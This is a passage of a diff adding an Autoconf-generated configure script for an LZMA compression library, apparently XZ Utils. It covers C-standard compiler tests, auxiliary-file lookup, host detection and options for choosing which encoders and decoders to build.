double average; +}; + +typedef const char *ccp; + +static inline int +test_restrict (ccp restrict text) +{ + // Iterate through items via the restricted pointer. + // Also check for declarations in for loops. + for (unsigned int i = 0; *(text+i) != '\''\0'\''; ++i) + continue; + return 0; +} + +// Check varargs and va_copy. +static bool +test_varargs (const char *format, ...) +{ + va_list args; + va_start (args, format); + va_list args_copy; + va_copy (args_copy, args); + + const char *str = ""; + int number = 0; + float fnumber = 0; + + while (*format) + { + switch (*format++) + { + case '\''s'\'': // string + str = va_arg (args_copy, const char *); + break; + case '\''d'\'': // int + number = va_arg (args_copy, int); + break; + case '\''f'\'': // float + fnumber = va_arg (args_copy, double); + break; + default: + break; + } + } + va_end (args_copy); + va_end (args); + + return *str && number && fnumber; +} +' + +# Test code for whether the C compiler supports C99 (body of main). +ac_c_conftest_c99_main=' + // Check bool. + _Bool success = false; + success |= (argc != 0); + + // Check restrict. + if (test_restrict ("String literal") == 0) + success = true; + char *restrict newvar = "Another string"; + + // Check varargs. + success &= test_varargs ("s, d'\'' f .", "string", 65, 34.234); + test_varargs_macros (); + + // Check flexible array members. + struct incomplete_array *ia = + malloc (sizeof (struct incomplete_array) + (sizeof (double) * 10)); + ia->datasize = 10; + for (int i = 0; i < ia->datasize; ++i) + ia->data[i] = i * 1.234; + // Work around memory leak warnings. + free (ia); + + // Check named initializers. + struct named_init ni = { + .number = 34, + .name = L"Test wide string", + .average = 543.34343, + }; + + ni.number = 58; + + int dynamic_array[ni.number]; + dynamic_array[0] = argv[0][0]; + dynamic_array[ni.number - 1] = 543; + + // work around unused variable warnings + ok |= (!success || bignum == 0LL || ubignum == 0uLL || newvar[0] == '\''x'\'' + || dynamic_array[ni.number - 1] != 543); +' + +# Test code for whether the C compiler supports C11 (global declarations) +ac_c_conftest_c11_globals=' +/* Does the compiler advertise C11 conformance? */ +#if !defined __STDC_VERSION__ || __STDC_VERSION__ < 201112L +# error "Compiler does not advertise C11 conformance" +#endif + +// Check _Alignas. +char _Alignas (double) aligned_as_double; +char _Alignas (0) no_special_alignment; +extern char aligned_as_int; +char _Alignas (0) _Alignas (int) aligned_as_int; + +// Check _Alignof. +enum +{ + int_alignment = _Alignof (int), + int_array_alignment = _Alignof (int[100]), + char_alignment = _Alignof (char) +}; +_Static_assert (0 < -_Alignof (int), "_Alignof is signed"); + +// Check _Noreturn. +int _Noreturn does_not_return (void) { for (;;) continue; } + +// Check _Static_assert. +struct test_static_assert +{ + int x; + _Static_assert (sizeof (int) <= sizeof (long int), + "_Static_assert does not work in struct"); + long int y; +}; + +// Check UTF-8 literals. +#define u8 syntax error! +char const utf8_literal[] = u8"happens to be ASCII" "another string"; + +// Check duplicate typedefs. +typedef long *long_ptr; +typedef long int *long_ptr; +typedef long_ptr long_ptr; + +// Anonymous structures and unions -- taken from C11 6.7.2.1 Example 1. +struct anonymous +{ + union { + struct { int i; int j; }; + struct { int k; long int l; } w; + }; + int m; +} v1; +' + +# Test code for whether the C compiler supports C11 (body of main). +ac_c_conftest_c11_main=' + _Static_assert ((offsetof (struct anonymous, i) + == offsetof (struct anonymous, w.k)), + "Anonymous union alignment botch"); + v1.i = 2; + v1.w.k = 5; + ok |= v1.i != 5; +' + +# Test code for whether the C compiler supports C11 (complete). +ac_c_conftest_c11_program="${ac_c_conftest_c89_globals} +${ac_c_conftest_c99_globals} +${ac_c_conftest_c11_globals} + +int +main (int argc, char **argv) +{ + int ok = 0; + ${ac_c_conftest_c89_main} + ${ac_c_conftest_c99_main} + ${ac_c_conftest_c11_main} + return ok; +} +" + +# Test code for whether the C compiler supports C99 (complete). +ac_c_conftest_c99_program="${ac_c_conftest_c89_globals} +${ac_c_conftest_c99_globals} + +int +main (int argc, char **argv) +{ + int ok = 0; + ${ac_c_conftest_c89_main} + ${ac_c_conftest_c99_main} + return ok; +} +" + +# Test code for whether the C compiler supports C89 (complete). +ac_c_conftest_c89_program="${ac_c_conftest_c89_globals} + +int +main (int argc, char **argv) +{ + int ok = 0; + ${ac_c_conftest_c89_main} + return ok; +} +" + +as_fn_append ac_header_c_list " stdio.h stdio_h HAVE_STDIO_H" +as_fn_append ac_header_c_list " stdlib.h stdlib_h HAVE_STDLIB_H" +as_fn_append ac_header_c_list " string.h string_h HAVE_STRING_H" +as_fn_append ac_header_c_list " inttypes.h inttypes_h HAVE_INTTYPES_H" +as_fn_append ac_header_c_list " stdint.h stdint_h HAVE_STDINT_H" +as_fn_append ac_header_c_list " strings.h strings_h HAVE_STRINGS_H" +as_fn_append ac_header_c_list " sys/stat.h sys_stat_h HAVE_SYS_STAT_H" +as_fn_append ac_header_c_list " sys/types.h sys_types_h HAVE_SYS_TYPES_H" +as_fn_append ac_header_c_list " unistd.h unistd_h HAVE_UNISTD_H" +as_fn_append ac_header_c_list " wchar.h wchar_h HAVE_WCHAR_H" +as_fn_append ac_header_c_list " minix/config.h minix_config_h HAVE_MINIX_CONFIG_H" +gt_needs="$gt_needs " +as_fn_append ac_header_c_list " sys/cdefs.h sys_cdefs_h HAVE_SYS_CDEFS_H" + +# Auxiliary files required by this configure script. +ac_aux_files="config.rpath ltmain.sh compile missing install-sh config.guess config.sub" + +# Locations in which to look for auxiliary files. +ac_aux_dir_candidates="${srcdir}/build-aux" + +# Search for a directory containing all of the required auxiliary files, +# $ac_aux_files, from the $PATH-style list $ac_aux_dir_candidates. +# If we don't find one directory that contains all the files we need, +# we report the set of missing files from the *first* directory in +# $ac_aux_dir_candidates and give up. +ac_missing_aux_files="" +ac_first_candidate=: +printf "%s\n" "$as_me:${as_lineno-$LINENO}: looking for aux files: $ac_aux_files" >&5 +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +as_found=false +for as_dir in $ac_aux_dir_candidates +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + as_found=: + + printf "%s\n" "$as_me:${as_lineno-$LINENO}: trying $as_dir" >&5 + ac_aux_dir_found=yes + ac_install_sh= + for ac_aux in $ac_aux_files + do + # As a special case, if "install-sh" is required, that requirement + # can be satisfied by any of "install-sh", "install.sh", or "shtool", + # and $ac_install_sh is set appropriately for whichever one is found. + if test x"$ac_aux" = x"install-sh" + then + if test -f "${as_dir}install-sh"; then + printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}install-sh found" >&5 + ac_install_sh="${as_dir}install-sh -c" + elif test -f "${as_dir}install.sh"; then + printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}install.sh found" >&5 + ac_install_sh="${as_dir}install.sh -c" + elif test -f "${as_dir}shtool"; then + printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}shtool found" >&5 + ac_install_sh="${as_dir}shtool install -c" + else + ac_aux_dir_found=no + if $ac_first_candidate; then + ac_missing_aux_files="${ac_missing_aux_files} install-sh" + else + break + fi + fi + else + if test -f "${as_dir}${ac_aux}"; then + printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}${ac_aux} found" >&5 + else + ac_aux_dir_found=no + if $ac_first_candidate; then + ac_missing_aux_files="${ac_missing_aux_files} ${ac_aux}" + else + break + fi + fi + fi + done + if test "$ac_aux_dir_found" = yes; then + ac_aux_dir="$as_dir" + break + fi + ac_first_candidate=false + + as_found=false +done +IFS=$as_save_IFS +if $as_found +then : + +else case e in #( + e) as_fn_error $? "cannot find required auxiliary files:$ac_missing_aux_files" "$LINENO" 5 ;; +esac +fi + + +# These three variables are undocumented and unsupported, +# and are intended to be withdrawn in a future Autoconf release. +# They can cause serious problems if a builder's source tree is in a directory +# whose full name contains unusual characters. +if test -f "${ac_aux_dir}config.guess"; then + ac_config_guess="$SHELL ${ac_aux_dir}config.guess" +fi +if test -f "${ac_aux_dir}config.sub"; then + ac_config_sub="$SHELL ${ac_aux_dir}config.sub" +fi +if test -f "$ac_aux_dir/configure"; then + ac_configure="$SHELL ${ac_aux_dir}configure" +fi + +# Check that the precious variables saved in the cache have kept the same +# value. +ac_cache_corrupted=false +for ac_var in $ac_precious_vars; do + eval ac_old_set=\$ac_cv_env_${ac_var}_set + eval ac_new_set=\$ac_env_${ac_var}_set + eval ac_old_val=\$ac_cv_env_${ac_var}_value + eval ac_new_val=\$ac_env_${ac_var}_value + case $ac_old_set,$ac_new_set in + set,) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: '$ac_var' was set to '$ac_old_val' in the previous run" >&5 +printf "%s\n" "$as_me: error: '$ac_var' was set to '$ac_old_val' in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,set) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: '$ac_var' was not set in the previous run" >&5 +printf "%s\n" "$as_me: error: '$ac_var' was not set in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,);; + *) + if test "x$ac_old_val" != "x$ac_new_val"; then + # differences in whitespace do not lead to failure. + ac_old_val_w=`echo x $ac_old_val` + ac_new_val_w=`echo x $ac_new_val` + if test "$ac_old_val_w" != "$ac_new_val_w"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: '$ac_var' has changed since the previous run:" >&5 +printf "%s\n" "$as_me: error: '$ac_var' has changed since the previous run:" >&2;} + ac_cache_corrupted=: + else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in '$ac_var' since the previous run:" >&5 +printf "%s\n" "$as_me: warning: ignoring whitespace changes in '$ac_var' since the previous run:" >&2;} + eval $ac_var=\$ac_old_val + fi + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: former value: '$ac_old_val'" >&5 +printf "%s\n" "$as_me: former value: '$ac_old_val'" >&2;} + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: current value: '$ac_new_val'" >&5 +printf "%s\n" "$as_me: current value: '$ac_new_val'" >&2;} + fi;; + esac + # Pass precious variables to config.status. + if test "$ac_new_set" = set; then + case $ac_new_val in + *\'*) ac_arg=$ac_var=`printf "%s\n" "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; + *) ac_arg=$ac_var=$ac_new_val ;; + esac + case " $ac_configure_args " in + *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. + *) as_fn_append ac_configure_args " '$ac_arg'" ;; + esac + fi +done +if $ac_cache_corrupted; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: changes in the environment can compromise the build" >&5 +printf "%s\n" "$as_me: error: changes in the environment can compromise the build" >&2;} + as_fn_error $? "run '${MAKE-make} distclean' and/or 'rm $cache_file' + and start over" "$LINENO" 5 +fi +## -------------------- ## +## Main body of script. ## +## -------------------- ## + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + + + + +ac_config_headers="$ac_config_headers config.h" + + +echo +echo "$PACKAGE_STRING" + +echo +echo "System type:" +# This is needed to know if assembler optimizations can be used. + + + + # Make sure we can run config.sub. +$SHELL "${ac_aux_dir}config.sub" sun4 >/dev/null 2>&1 || + as_fn_error $? "cannot run $SHELL ${ac_aux_dir}config.sub" "$LINENO" 5 + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking build system type" >&5 +printf %s "checking build system type... " >&6; } +if test ${ac_cv_build+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_build_alias=$build_alias +test "x$ac_build_alias" = x && + ac_build_alias=`$SHELL "${ac_aux_dir}config.guess"` +test "x$ac_build_alias" = x && + as_fn_error $? "cannot guess build type; you must specify one" "$LINENO" 5 +ac_cv_build=`$SHELL "${ac_aux_dir}config.sub" $ac_build_alias` || + as_fn_error $? "$SHELL ${ac_aux_dir}config.sub $ac_build_alias failed" "$LINENO" 5 + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_build" >&5 +printf "%s\n" "$ac_cv_build" >&6; } +case $ac_cv_build in +*-*-*) ;; +*) as_fn_error $? "invalid value of canonical build" "$LINENO" 5;; +esac +build=$ac_cv_build +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_build +shift +build_cpu=$1 +build_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +build_os=$* +IFS=$ac_save_IFS +case $build_os in *\ *) build_os=`echo "$build_os" | sed 's/ /-/g'`;; esac + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking host system type" >&5 +printf %s "checking host system type... " >&6; } +if test ${ac_cv_host+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test "x$host_alias" = x; then + ac_cv_host=$ac_cv_build +else + ac_cv_host=`$SHELL "${ac_aux_dir}config.sub" $host_alias` || + as_fn_error $? "$SHELL ${ac_aux_dir}config.sub $host_alias failed" "$LINENO" 5 +fi + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_host" >&5 +printf "%s\n" "$ac_cv_host" >&6; } +case $ac_cv_host in +*-*-*) ;; +*) as_fn_error $? "invalid value of canonical host" "$LINENO" 5;; +esac +host=$ac_cv_host +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_host +shift +host_cpu=$1 +host_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +host_os=$* +IFS=$ac_save_IFS +case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac + + + +# We do some special things on Windows (32-bit or 64-bit) builds. +case $host_os in + mingw* | cygwin | msys) is_w32=yes ;; + *) is_w32=no ;; +esac + if test "$is_w32" = yes; then + COND_W32_TRUE= + COND_W32_FALSE='#' +else + COND_W32_TRUE='#' + COND_W32_FALSE= +fi + + +# We need to use $EXEEXT with $(LN_S) when creating symlinks to +# executables. Cygwin is an exception to this, since it is recommended +# that symlinks don't have the .exe suffix. To make this work, we +# define LN_EXEEXT. +# +# MSYS2 is treated the same way as Cygwin. It uses plain "msys" like +# the original MSYS when building MSYS/MSYS2-binaries. Hopefully this +# doesn't break things for the original MSYS developers. Note that this +# doesn't affect normal MSYS/MSYS2 users building non-MSYS/MSYS2 binaries +# since in that case the $host_os is usually mingw32. +case $host_os in + cygwin | msys) LN_EXEEXT= ;; + *) LN_EXEEXT='$(EXEEXT)' ;; +esac + + +echo +echo "Configure options:" +AM_CFLAGS= + + +############# +# Debugging # +############# + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if debugging code should be compiled" >&5 +printf %s "checking if debugging code should be compiled... " >&6; } +# Check whether --enable-debug was given. +if test ${enable_debug+y} +then : + enableval=$enable_debug; +else case e in #( + e) enable_debug=no ;; +esac +fi + +if test "x$enable_debug" = xyes; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } +else + +printf "%s\n" "#define NDEBUG 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +########### +# Filters # +########### + + + + +enable_filter_lzma1=no +enable_encoder_lzma1=no +enable_decoder_lzma1=no +enable_filter_lzma2=no +enable_encoder_lzma2=no +enable_decoder_lzma2=no +enable_filter_delta=no +enable_encoder_delta=no +enable_decoder_delta=no +enable_filter_x86=no +enable_encoder_x86=no +enable_decoder_x86=no +enable_filter_powerpc=no +enable_encoder_powerpc=no +enable_decoder_powerpc=no +enable_filter_ia64=no +enable_encoder_ia64=no +enable_decoder_ia64=no +enable_filter_arm=no +enable_encoder_arm=no +enable_decoder_arm=no +enable_filter_armthumb=no +enable_encoder_armthumb=no +enable_decoder_armthumb=no +enable_filter_arm64=no +enable_encoder_arm64=no +enable_decoder_arm64=no +enable_filter_sparc=no +enable_encoder_sparc=no +enable_decoder_sparc=no +enable_filter_riscv=no +enable_encoder_riscv=no +enable_decoder_riscv=no + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking which encoders to build" >&5 +printf %s "checking which encoders to build... " >&6; } +# Check whether --enable-encoders was given. +if test ${enable_encoders+y} +then : + enableval=$enable_encoders; +else case e in #( + e) enable_encoders=lzma1,lzma2,delta,x86,powerpc,ia64,arm,armthumb,arm64,sparc,riscv ;; +esac +fi + +enable_encoders=`echo "$enable_encoders" | sed 's/,/ /g'` +if test "x$enable_encoders" = xno || test "x$enable_encoders" = x; then + enable_encoders=no + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: (none)" >&5 +printf "%s\n" "(none)" >&6; } +else + for arg in $enable_encoders + do + case $arg in + lzma1) + enable_filter_lzma1=yes + enable_encoder_lzma1=yes + +printf "%s\n" "#define HAVE_ENCODER_LZMA1 1" >>confdefs.h + + ;; + lzma2) + enable_filter_lzma2=yes + enable_encoder_lzma2=yes + +printf "%s\n" "#define HAVE_ENCODER_LZMA2 1" >>confdefs.h + + ;; + delta) + enable_filter_delta=yes + enable_encoder_delta=yes + +printf "%s\n" "#define HAVE_ENCODER_DELTA 1" >>confdefs.h + + ;; + x86) + enable_filter_x86=yes + enable_encoder_x86=yes + +printf "%s\n" "#define HAVE_ENCODER_X86 1" >>confdefs.h + + ;; + powerpc) + enable_filter_powerpc=yes + enable_encoder_powerpc=yes + +printf "%s\n" "#define HAVE_ENCODER_POWERPC 1" >>confdefs.h + + ;; + ia64) + enable_filter_ia64=yes + enable_encoder_ia64=yes + +printf "%s\n" "#define HAVE_ENCODER_IA64 1" >>confdefs.h + + ;; + arm) + enable_filter_arm=yes + enable_encoder_arm=yes + +printf "%s\n" "#define HAVE_ENCODER_ARM 1" >>confdefs.h + + ;; + armthumb) + enable_filter_armthumb=yes + enable_encoder_armthumb=yes + +printf "%s\n" "#define HAVE_ENCODER_ARMTHUMB 1" >>confdefs.h + + ;; + arm64) + enable_filter_arm64=yes + enable_encoder_arm64=yes + +printf "%s\n" "#define HAVE_ENCODER_ARM64 1" >>confdefs.h + + ;; + sparc) + enable_filter_sparc=yes + enable_encoder_sparc=yes + +printf "%s\n" "#define HAVE_ENCODER_SPARC 1" >>confdefs.h + + ;; + riscv) + enable_filter_riscv=yes + enable_encoder_riscv=yes + +printf "%s\n" "#define HAVE_ENCODER_RISCV 1" >>confdefs.h + + ;; + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? "unknown filter: $arg" "$LINENO" 5 + ;; + esac + done + +printf "%s\n" "#define HAVE_ENCODERS 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_encoders" >&5 +printf "%s\n" "$enable_encoders" >&6; } +fi + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking which decoders to build" >&5 +printf %s "checking which decoders to build... " >&6; } +# Check whether --enable-decoders was given. +if test ${enable_decoders+y} +then : + enableval=$enable_decoders; +else case e in #( + e) enable_decoders=lzma1,lzma2,delta,x86,powerpc,ia64,arm,armthumb,arm64,sparc,riscv ;; +esac +fi + +enable_decoders=`echo "$enable_decoders" | sed 's/,/ /g'` +if test "x$enable_decoders" = xno || test "x$enable_decoders" = x; then + enable_decoders=no + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: (none)" >&5 +printf "%s\n" "(none)" >&6; } +else + for arg in $enable_decoders + do + case $arg in + lzma1) + enable_filter_lzma1=yes + enable_decoder_lzma1=yes + +printf "%s\n" "#define HAVE_DECODER_LZMA1 1" >>confdefs.h + + ;; + lzma2) + enable_filter_lzma2=yes + enable_decoder_lzma2=yes + +printf "%s\n" "#define HAVE_DECODER_LZMA2 1" >>confdefs.h + + ;; + delta) + enable_filter_delta=yes + enable_decoder_delta=yes + +printf "%s\n" "#define HAVE_DECODER_DELTA 1" >>confdefs.h + + ;; + x86) + enable_filter_x86=yes + enable_decoder_x86=yes + +printf "%s\n" "#define HAVE_DECODER_X86 1" >>confdefs.h + + ;; + powerpc) + enable_filter_powerpc=yes + enable_decoder_powerpc=yes + +printf "%s\n" "#define HAVE_DECODER_POWERPC 1" >>confdefs.h + + ;; + ia64) + enable_filter_ia64=yes + enable_decoder_ia64=yes + +printf "%s\n" "#define HAVE_DECODER_IA64 1" >>confdefs.h + + ;; + arm) + enable_filter_arm=yes + enable_decoder_arm=yes + +printf "%s\n" "#define HAVE_DECODER_ARM 1" >>confdefs.h + + ;; + armthumb) + enable_filter_armthumb=yes + enable_decoder_armthumb=yes + +printf "%s\n" "#define HAVE_DECODER_ARMTHUMB 1" >>confdefs.h + + ;; + arm64) + enable_filter_arm64=yes + enable_decoder_arm64=yes + +printf "%s\n" "#define HAVE_DECODER_ARM64 1" >>confdefs.h + + ;; + sparc) + enable_filter_sparc=yes + enable_decoder_sparc=yes + +printf "%s\n" "#define HAVE_DECODER_SPARC 1" >>confdefs.h + + ;; + riscv) + enable_filter_riscv=yes + enable_decoder_riscv=yes + +printf "%s\n" "#define HAVE_DECODER_RISCV 1" >>confdefs.h + + ;; + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? "unknown filter: $arg" "$LINENO" 5 + ;; + esac + done + +printf "%s\n" "#define HAVE_DECODERS 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_decoders" >&5 +printf "%s\n" "$enable_decoders" >&6; } +fi + +if test "x$enable_encoder_lzma2$enable_encoder_lzma1" = xyesno \ + || test "x$enable_decoder_lzma2$enable_decoder_lzma1" = xyesno; then + as_fn_error $? "LZMA2 requires that LZMA1 is also enabled." "$LINENO" 5 +fi + + if test "x$enable_encoders" != xno; then + COND_MAIN_ENCODER_TRUE= + COND_MAIN_ENCODER_FALSE='#' +else + COND_MAIN_ENCODER_TRUE='#' + COND_MAIN_ENCODER_FALSE= +fi + + if test "x$enable_decoders" != xno; then + COND_MAIN_DECODER_TRUE= + COND_MAIN_DECODER_FALSE='#' +else + COND_MAIN_DECODER_TRUE='#' + COND_MAIN_DECODER_FALSE= +fi + + + if test "x$enable_filter_lzma1" = xyes; then + COND_FILTER_LZMA1_TRUE= + COND_FILTER_LZMA1_FALSE='#' +else + COND_FILTER_LZMA1_TRUE='#' + COND_FILTER_LZMA1_FALSE= +fi + + if test "x$enable_encoder_lzma1" = xyes; then + COND_ENCODER_LZMA1_TRUE= + COND_ENCODER_LZMA1_FALSE='#' +else + COND_ENCODER_LZMA1_TRUE='#' + COND_ENCODER_LZMA1_FALSE= +fi + + if test "x$enable_decoder_lzma1" = xyes; then + COND_DECODER_LZMA1_TRUE= + COND_DECODER_LZMA1_FALSE='#' +else + COND_DECODER_LZMA1_TRUE='#' + COND_DECODER_LZMA1_FALSE= +fi + + if test "x$enable_filter_lzma2" = xyes; then + COND_FILTER_LZMA2_TRUE= + COND_FILTER_LZMA2_FALSE='#' +else + COND_FILTER_LZMA2_TRUE='#' + COND_FILTER_LZMA2_FALSE= +fi + + if test "x$enable_encoder_lzma2" = xyes; then + COND_ENCODER_LZMA2_TRUE= + COND_ENCODER_LZMA2_FALSE='#' +else + COND_ENCODER_LZMA2_TRUE='#' + COND_ENCODER_LZMA2_FALSE= +fi + + if test "x$enable_decoder_lzma2" = xyes; then + COND_DECODER_LZMA2_TRUE= + COND_DECODER_LZMA2_FALSE='#' +else + COND_DECODER_LZMA2_TRUE='#' + COND_DECODER_LZMA2_FALSE= +fi + + if test "x$enable_filter_delta" = xyes; then + COND_FILTER_DELTA_TRUE= + COND_FILTER_DELTA_FALSE='#' +else + COND_FILTER_DELTA_TRUE='#' + COND_FILTER_DELTA_FALSE= +fi + + if test "x$enable_encoder_delta" = xyes; then + COND_ENCODER_DELTA_TRUE= + COND_ENCODER_DELTA_FALSE='#' +else + COND_ENCODER_DELTA_TRUE='#' + COND_ENCODER_DELTA_FALSE= +fi + + if test "x$enable_decoder_delta" = xyes; then + COND_DECODER_DELTA_TRUE= + COND_DECODER_DELTA_FALSE='#' +else + COND_DECODER_DELTA_TRUE='#' + COND_DECODER_DELTA_FALSE= +fi + + if test "x$enable_filter_x86" = xyes; then + COND_FILTER_X86_TRUE= + COND_FILTER_X86_FALSE='#' +else + COND_FILTER_X86_TRUE='#' + COND_FILTER_X86_FALSE= +fi + + if test "x$enable_encoder_x86" = xyes; then + COND_ENCODER_X86_TRUE= + COND_ENCODER_X86_FALSE='#' +else + COND_ENCODER_X86_TRUE='#' + COND_ENCODER_X86_FALSE= +fi + + if test "x$enable_decoder_x86" = xyes; then + COND_DECODER_X86_TRUE= + COND_DECODER_X86_FALSE='#' +else + COND_DECODER_X86_TRUE='#' + COND_DECODER_X86_FALSE= +fi + + if test "x$enable_filter_powerpc" = xyes; then + COND_FILTER_POWERPC_TRUE= + COND_FILTER_POWERPC_FALSE='#' +else + COND_FILTER_POWERPC_TRUE='#' + COND_FILTER_POWERPC_FALSE= +fi + + if test "x$enable_encoder_powerpc" = xyes; then + COND_ENCODER_POWERPC_TRUE= + COND_ENCODER_POWERPC_FALSE='#' +else + COND_ENCODER_POWERPC_TRUE='#' + COND_ENCODER_POWERPC_FALSE= +fi + + if test "x$enable_decoder_powerpc" = xyes; then + COND_DECODER_POWERPC_TRUE= + COND_DECODER_POWERPC_FALSE='#' +else + COND_DECODER_POWERPC_TRUE='#' + COND_DECODER_POWERPC_FALSE= +fi + + if test "x$enable_filter_ia64" = xyes; then + COND_FILTER_IA64_TRUE= + COND_FILTER_IA64_FALSE='#' +else + COND_FILTER_IA64_TRUE='#' + COND_FILTER_IA64_FALSE= +fi + + if test "x$enable_encoder_ia64" = xyes; then + COND_ENCODER_IA64_TRUE= + COND_ENCODER_IA64_FALSE='#' +else + COND_ENCODER_IA64_TRUE='#' + COND_ENCODER_IA64_FALSE= +fi + + if test "x$enable_decoder_ia64" = xyes; then + COND_DECODER_IA64_TRUE= + COND_DECODER_IA64_FALSE='#' +else + COND_DECODER_IA64_TRUE='#' + COND_DECODER_IA64_FALSE= +fi + + if test "x$enable_filter_arm" = xyes; then + COND_FILTER_ARM_TRUE= + COND_FILTER_ARM_FALSE='#' +else + COND_FILTER_ARM_TRUE='#' + COND_FILTER_ARM_FALSE= +fi + + if test "x$enable_encoder_arm" = xyes; then + COND_ENCODER_ARM_TRUE= + COND_ENCODER_ARM_FALSE='#' +else + COND_ENCODER_ARM_TRUE='#' + COND_ENCODER_ARM_FALSE= +fi + + if test "x$enable_decoder_arm" = xyes; then + COND_DECODER_ARM_TRUE= + COND_DECODER_ARM_FALSE='#' +else + COND_DECODER_ARM_TRUE='#' + COND_DECODER_ARM_FALSE= +fi + + if test "x$enable_filter_armthumb" = xyes; then + COND_FILTER_ARMTHUMB_TRUE= + COND_FILTER_ARMTHUMB_FALSE='#' +else + COND_FILTER_ARMTHUMB_TRUE='#' + COND_FILTER_ARMTHUMB_FALSE= +fi + + if test "x$enable_encoder_armthumb" = xyes; then + COND_ENCODER_ARMTHUMB_TRUE= + COND_ENCODER_ARMTHUMB_FALSE='#' +else + COND_ENCODER_ARMTHUMB_TRUE='#' + COND_ENCODER_ARMTHUMB_FALSE= +fi + + if test "x$enable_decoder_armthumb" = xyes; then + COND_DECODER_ARMTHUMB_TRUE= + COND_DECODER_ARMTHUMB_FALSE='#' +else + COND_DECODER_ARMTHUMB_TRUE='#' + COND_DECODER_ARMTHUMB_FALSE= +fi + + if test "x$enable_filter_arm64" = xyes; then + COND_FILTER_ARM64_TRUE= + COND_FILTER_ARM64_FALSE='#' +else + COND_FILTER_ARM64_TRUE='#' + COND_FILTER_ARM64_FALSE= +fi + + if test "x$enable_encoder_arm64" = xyes; then + COND_ENCODER_ARM64_TRUE= + COND_ENCODER_ARM64_FALSE='#' +else + COND_ENCODER_ARM64_TRUE='#' + COND_ENCODER_ARM64_FALSE= +fi + + if test "x$enable_decoder_arm64" = xyes; then + COND_DECODER_ARM64_TRUE= + COND_DECODER_ARM64_FALSE='#' +else + COND_DECODER_ARM64_TRUE='#' + COND_DECODER_ARM64_FALSE= +fi + + if test "x$enable_filter_sparc" = xyes; then + COND_FILTER_SPARC_TRUE= + COND_FILTER_SPARC_FALSE='#' +else + COND_FILTER_SPARC_TRUE='#' + COND_FILTER_SPARC_FALSE= +fi + + if test "x$enable_encoder_sparc" = xyes; then + COND_ENCODER_SPARC_TRUE= + COND_ENCODER_SPARC_FALSE='#' +else + COND_ENCODER_SPARC_TRUE='#' + COND_ENCODER_SPARC_FALSE= +fi + + if test "x$enable_decoder_sparc" = xyes; then + COND_DECODER_SPARC_TRUE= + COND_DECODER_SPARC_FALSE='#' +else + COND_DECODER_SPARC_TRUE='#' + COND_DECODER_SPARC_FALSE= +fi + + if test "x$enable_filter_riscv" = xyes; then + COND_FILTER_RISCV_TRUE= + COND_FILTER_RISCV_FALSE='#' +else + COND_FILTER_RISCV_TRUE='#' + COND_FILTER_RISCV_FALSE= +fi + + if test "x$enable_encoder_riscv" = xyes; then + COND_ENCODER_RISCV_TRUE= + COND_ENCODER_RISCV_FALSE='#' +else + COND_ENCODER_RISCV_TRUE='#' + COND_ENCODER_RISCV_FALSE= +fi + + if test "x$enable_decoder_riscv" = xyes; then + COND_DECODER_RISCV_TRUE= + COND_DECODER_RISCV_FALSE='#' +else + COND_DECODER_RISCV_TRUE='#' + COND_DECODER_RISCV_FALSE= +fi + + +# The so called "simple filters" share common code. +enable_filter_simple=no +enable_encoder_simple=no +enable_decoder_simple=no +test "x$enable_filter_x86" = xyes && enable_filter_simple=yes +test "x$enable_encoder_x86" = xyes && enable_encoder_simple=yes 